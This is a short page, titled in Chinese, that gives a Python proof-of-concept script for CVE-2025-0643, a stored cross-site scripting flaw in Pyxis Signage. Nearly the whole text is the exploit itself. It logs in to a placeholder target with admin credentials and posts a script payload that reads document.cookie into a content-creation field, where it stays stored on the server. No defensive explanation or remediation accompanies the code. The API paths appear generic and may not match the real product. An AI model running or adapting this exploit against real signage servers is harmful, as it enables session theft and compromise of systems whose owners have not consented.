CVE-2025-0643 Pyxis Signage存储型XSS跨站脚本漏洞

import requests import json # CVE-2025-0643 PoC - Pyxis Signage Stored XSS # Target: Pyxis Signage <= 31012025 TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" PAYLOAD_URL = f"{TARGET_URL}/api/content/create" XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_stored_xss(): """ Stored XSS exploitation in Pyxis Signage Steps: 1. Authenticate with high privilege account (PR:H required) 2. Inject XSS payload into vulnerable input field 3. Payload stored on server and executed when viewed """ session = requests.Session() # Step 1: Login with high privilege account login_data = { "username": "admin", "password": "password" } try: login_resp = session.post(LOGIN_URL, json=login_data, timeout=10) if login_resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload into content creation content_data = { "title": "Malicious Content", "description": XSS_PAYLOAD, "content_type": "text" } inject_resp = session.post(PAYLOAD_URL, json=content_data, timeout=10) if inject_resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored at: {inject_resp.json().get('id')}") return True else: print("[-] Payload injection failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("CVE-2025-0643 Pyxis Signage Stored XSS PoC") exploit_stored_xss()